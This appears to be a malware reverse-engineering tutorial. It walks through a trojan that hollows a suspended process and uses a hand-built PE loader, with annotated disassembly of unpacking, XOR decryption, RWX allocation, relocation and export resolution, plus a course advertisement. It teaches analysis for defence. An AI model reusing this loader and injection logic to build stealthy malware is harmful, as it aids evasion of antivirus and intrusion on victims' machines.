Advanced malware employs many hiding techniques in order to evade anti-virus measures and to deceive the victim. Trojans come in the form of bound executables in a legitimate application in which the malware in decompressed/decrypted and executed. In this article, we are going to discuss a technique that malware uses in order to be stealthy in talk lists. This technique deceives uses into thinking that a legitimate application is running while, in reality, malware has replaced the executable image with its own evil code.

Tools that are required for analyzing this form of malware are ollydbg/immunity debugger, Virtual machine, and a memory dumper like Lord PE.

Binary First Stage

The original sample is packed with a custom packer that overwrites heap memory with executable code:

0012FB07  8B75 F8        MOV ESI,DWORD PTR SS:[EBP-8]
0012FB0A  8A0C30         MOV CL,BYTE PTR DS:[EAX+ESI]
0012FB0D  3A8D 70FFFFFF  CMP CL,BYTE PTR SS:[EBP-90]
0012FB13  75 24          JNZ SHORT 0012FB39
0012FB15  8A4C30 01      MOV CL,BYTE PTR DS:[EAX+ESI+1]
0012FB19  3A8D 71FFFFFF  CMP CL,BYTE PTR SS:[EBP-8F]
0012FB1F  75 18          JNZ SHORT 0012FB39
0012FB21  8A4C30 02      MOV CL,BYTE PTR DS:[EAX+ESI+2]
0012FB25  3A8D 72FFFFFF  CMP CL,BYTE PTR SS:[EBP-8E]
0012FB2B  75 0C          JNZ SHORT 0012FB39
0012FB2D  8A4C30 03      MOV CL,BYTE PTR DS:[EAX+ESI+3]
0012FB31  3A8D 73FFFFFF  CMP CL,BYTE PTR SS:[EBP-8D]
0012FB37  74 0E          JE SHORT 0012FB47
0012FB39  8D4F FF        LEA ECX,DWORD PTR DS:[EDI-1]
0012FB3C  3BC1           CMP EAX,ECX
0012FB3E  74 70          JE SHORT 0012FBB0
0012FB40  40             INC EAX
0012FB41  3BC7           CMP EAX,EDI
0012FB43  ^72 C2         JB SHORT 0012FB07
0012FB45  EB 2A          JMP SHORT 0012FB71
0012FB47  33FF           XOR EDI,EDI
0012FB49  03C6           ADD EAX,ESI
0012FB4B  8A4C38 14      MOV CL,BYTE PTR DS:[EAX+EDI+14]
0012FB4F  888C3D C4C2FFFF MOV BYTE PTR SS:[EBP+EDI-3D3C],CL
0012FB56  47             INC EDI
0012FB57  81FF AC3A0000  CMP EDI,3AAC
0012FB5D  ^72 EC         JB SHORT 0012FB4B

Further, when it jumps to that page, it creates itself in a suspended state with CREATION flags set at 0×40, which is the CREATE_SUSPENDED flag.

It injects itself in that suspended process using API calls such as WriteProcessMemory and VirtualAllocEx.

Second Stage

In the second stage of malware, it runs inside its own image at the OEP of the image; we can see it’s trying to get EIP by the CALL POP method used by shellcodes:

00400160 > $ E8 00000000 CALL ARTIC.00400165
00400165 $ 5B POP EBX
00400166 . 83EB 05 SUB EBX,5

And following that, it tries to get the base address of DLLs loaded:

0040016C . 64:8B12 MOV EDX,DWORD PTR FS:[EDX]
0040016F . 8B52 0C MOV EDX,DWORD PTR DS:[EDX+C]
00400172 . 8B52 0C MOV EDX,DWORD PTR DS:[EDX+C]
00400175 . 8B12 MOV EDX,DWORD PTR DS:[EDX]
00400177 . 8B12 MOV EDX,DWORD PTR DS:[EDX]
00400179 . 8D42 18 LEA EAX,DWORD PTR DS:[EDX+18]
0040017C . 8B28 MOV EBP,DWORD PTR DS:[EAX]

On-the-fly decryption is done using a one-byte xor key:

004001A1 > AC LODS BYTE PTR DS:[ESI]
004001A2 . 32C2 XOR AL,DL
004001A4 . AA STOS BYTE PTR ES:[EDI]
004001A5 .^E2 FA LOOPD SHORT ARTIC.004001A1

Space is allocated on the heap to copy the decrypted region with read, write, and execute permissions:

0012FFB0 004001BB »#@. /CALL to VirtualAlloc from ARTIC.004001B5
0012FFB4 00000000 .... |Address = NULL
0012FFB8 00004000 .@.. |Size = 4000 (16384.)
0012FFBC 00003000 .0.. |AllocationType = MEM_COMMIT|MEM_RESERVE
0012FFC0 00000040 @... Protect = PAGE_EXECUTE_READWRITE

where the data is decompressed using a custom decompression routine:

004001BB . 8983 00090000 MOV DWORD PTR DS:[EBX+900],EAX
004001C1 . 89C5 MOV EBP,EAX
004001C3 . 89C1 MOV ECX,EAX
004001C5 . 8D83 21120000 LEA EAX,DWORD PTR DS:[EBX+1221]
004001CB . E8 59010000 CALL <ARTIC.Decompress>

The data happens to be a valid PE image present at the allocated heap:

00320000 4D 5A 50 00 02 00 MZP.#.

The image is copied into the newly allocated heap:

004001F2 . 8B4E 54 MOV ECX,DWORD PTR DS:[ESI+54] ; Size
004001F5 . 81EE 00010000 SUB ESI,100
004001FB . 89C7 MOV EDI,EAX
004001FD . FC CLD
004001FE . F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
00400200 . 61 POPAD

00400208 . 0FB64E 06 MOVZX ECX,BYTE PTR DS:[ESI+6] ; Get Number of sections
0040020C . 83F9 00 CMP ECX,0 ; if no of sections are zero
0040020F . 0F8E B7000000 JLE ARTIC.004002CC

00400215 . 81C6 F8000000 ADD ESI,0F8
0040021B > 51 PUSH ECX ; Save ECX
0040021C . 8B4E 10 MOV ECX,DWORD PTR DS:[ESI+10] ; Get Size of Raw data
0040021F . 85C9 TEST ECX,ECX
00400221 . 7E 0F JLE SHORT ARTIC.00400232 ; If Size of raw data is zero
00400223 . 56 PUSH ESI
00400224 . 8B7E 0C MOV EDI,DWORD PTR DS:[ESI+C] ; Get Virtual Address
00400227 . 01C7 ADD EDI,EAX ; Add Base + Virtual Address
00400229 . 8B76 14 MOV ESI,DWORD PTR DS:[ESI+14] ; Get Pointer to raw Data
0040022C . 01EE ADD ESI,EBP ; Goto Section Data
0040022E . FC CLD
0040022F . F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>; Copy Section Data to virtual Address
00400231 . 5E POP ESI
00400232 > 83C6 28 ADD ESI,28 ; Hop to new section header
00400235 . 59 POP ECX
00400236 .^E2 E3 LOOPD SHORT ARTIC.0040021B

This code basically traverses all the sections and copies them into the desired virtual addresses, as Windows loader does . This section ends when all the sections are traversed.

After loading all the sections at the desired offset address, they must be relocated at that loaded address.

The code section makes use of base relocations to do it.

Base relocations are define in winnt.h as:

typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
// WORD TypeOffset[1];
} IMAGE_BASE_RELOCATION;

typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;

Want to learn more?? The InfoSec Institute Reverse Engineering course teaches you everything from reverse engineering malware to discovering vulnerabilities in binaries. These skills are required in order to properly secure an organization from today's ever evolving threats. In this 5 day hands-on course, you will gain the necessary binary analysis skills to discover the true nature of any Windows binary. You will learn how to recognize the high level language constructs (such as branching statements, looping functions and network socket code) critical to performing a thorough and professional reverse engineering analysis of a binary. Some features of this course include:

  • CREA Certification
  • 5 days of Intensive Hands-On Labs
  • Hostile Code & Malware analysis, including: Worms, Viruses, Trojans, Rootkits and Bots
  • Binary obfuscation schemes, used by: Hackers, Trojan writers and copy protection algorithms
  • Learn the methodologies, tools, and manual reversing techniques used real world situations in our reversing lab.

VirtualAddress contains the virtual address of the blocks to be relocated.

SizeofBlock is the total size of the blocks + the size of _IMAGE_BASE_RELOCATION.

TypeOffset are words that immediately follow after the first four bits of it represent the type and the remaining 12 bits represent the offset from the VirtualAddress to the place where relocations are to be performed.

00400239 . 60 PUSHAD
0040023A . 89C6 MOV ESI,EAX ; Mov to base
0040023C . 89EB MOV EBX,EBP ; mov to base of data
0040023E . 8B43 3C MOV EAX,DWORD PTR DS:[EBX+3C] ; move offset of pe signature
00400241 . 8D4418 18 LEA EAX,DWORD PTR DS:[EAX+EBX+18] ; Image structure
00400245 . 8B50 1C MOV EDX,DWORD PTR DS:[EAX+1C] ; Get base
00400248 . 89F3 MOV EBX,ESI
0040024A . 8B43 3C MOV EAX,DWORD PTR DS:[EBX+3C]
0040024D . 8D4418 18 LEA EAX,DWORD PTR DS:[EAX+EBX+18] ; Get Loaded Base
00400251 . 29DA SUB EDX,EBX ; Calculate Delta
00400253 . 8DB0 88000000 LEA ESI,DWORD PTR DS:[EAX+88] ; get relocation table
00400259 . 8B36 MOV ESI,DWORD PTR DS:[ESI]
0040025B . 85F6 TEST ESI,ESI
0040025D . 74 2E JE SHORT ARTIC.0040028D ; if no reloc
0040025F . 01DE ADD ESI,EBX ; get reloc section
00400261 > 833E 00 CMP DWORD PTR DS:[ESI],0 ; if no relocations present
00400264 . 74 27 JE SHORT ARTIC.0040028D
00400266 . 8B3E MOV EDI,DWORD PTR DS:[ESI] ; Get VirtualAddress
00400268 . 8B4E 04 MOV ECX,DWORD PTR DS:[ESI+4] ; Get SizeOfBlock
0040026B . 83E9 08 SUB ECX,8 ; Sub sizeof(struct)
0040026E . D1E9 SHR ECX,1 ; Get No of Words
00400270 . 83C6 08 ADD ESI,8 ; Get TypeOffsety
00400273 . 31C0 XOR EAX,EAX
00400275 > 66:AD LODS WORD PTR DS:[ESI] ; Load TypeOffset into Eax
00400277 . A9 00300000 TEST EAX,3000 ; Check If no Relocations are present
0040027C . 74 0B JE SHORT ARTIC.00400289
0040027E . 25 FF0F0000 AND EAX,0FFF ; Strip Type for x86 it is constant
00400283 . 01D8 ADD EAX,EBX ; Add Virtual Address
00400285 . 01F8 ADD EAX,EDI ; Add Offset
00400287 . 2910 SUB DWORD PTR DS:[EAX],EDX ; Subtract Delta From DWORD
00400289 > ^E2 EA LOOPD SHORT ARTIC.00400275 ; Loop
0040028B .^EB D4 JMP SHORT ARTIC.00400261

After fixing the relocations, it finds the export address table, looks for “work” export, and resumes execution from there:

0040028D > 61 POPAD
0040028E . 89C5 MOV EBP,EAX
00400290 . 8DBB 00120000 LEA EDI,DWORD PTR DS:[EBX+1200] ; add displacement
00400296 . 0380 78010000 ADD EAX,DWORD PTR DS:[EAX+178] ; Get EAT
0040029C . 8B48 14 MOV ECX,DWORD PTR DS:[EAX+14] ; Get First Exploit Offset
0040029F . 0B48 18 OR ECX,DWORD PTR DS:[EAX+18]
004002A2 . 74 28 JE SHORT ARTIC.004002CC
004002A4 . 8B70 20 MOV ESI,DWORD PTR DS:[EAX+20]
004002A7 . 01EE ADD ESI,EBP
004002A9 . 8B50 1C MOV EDX,DWORD PTR DS:[EAX+1C]
004002AC . 01EA ADD EDX,EBP
004002AE . 8B12 MOV EDX,DWORD PTR DS:[EDX]
004002B0 . 01EA ADD EDX,EBP
004002B2 . 8B0F MOV ECX,DWORD PTR DS:[EDI]
004002B4 . 8B36 MOV ESI,DWORD PTR DS:[ESI]
004002B6 . 01EE ADD ESI,EBP
004002B8 . 3B0E CMP ECX,DWORD PTR DS:[ESI]
004002BA . 75 10 JNZ SHORT ARTIC.004002CC
004002BC . 8DBB 14120000 LEA EDI,DWORD PTR DS:[EBX+1214]
004002C2 . 57 PUSH EDI
004002C3 . 8DBB 00100000 LEA EDI,DWORD PTR DS:[EBX+1000]
004002C9 . 57 PUSH EDI ; Push Path
004002CA . FFD2 CALL EDX ; Call Export Work

Attackers using this method of totally implementing windows loader malwares remain stealthy by hiding their code in a legitimate process.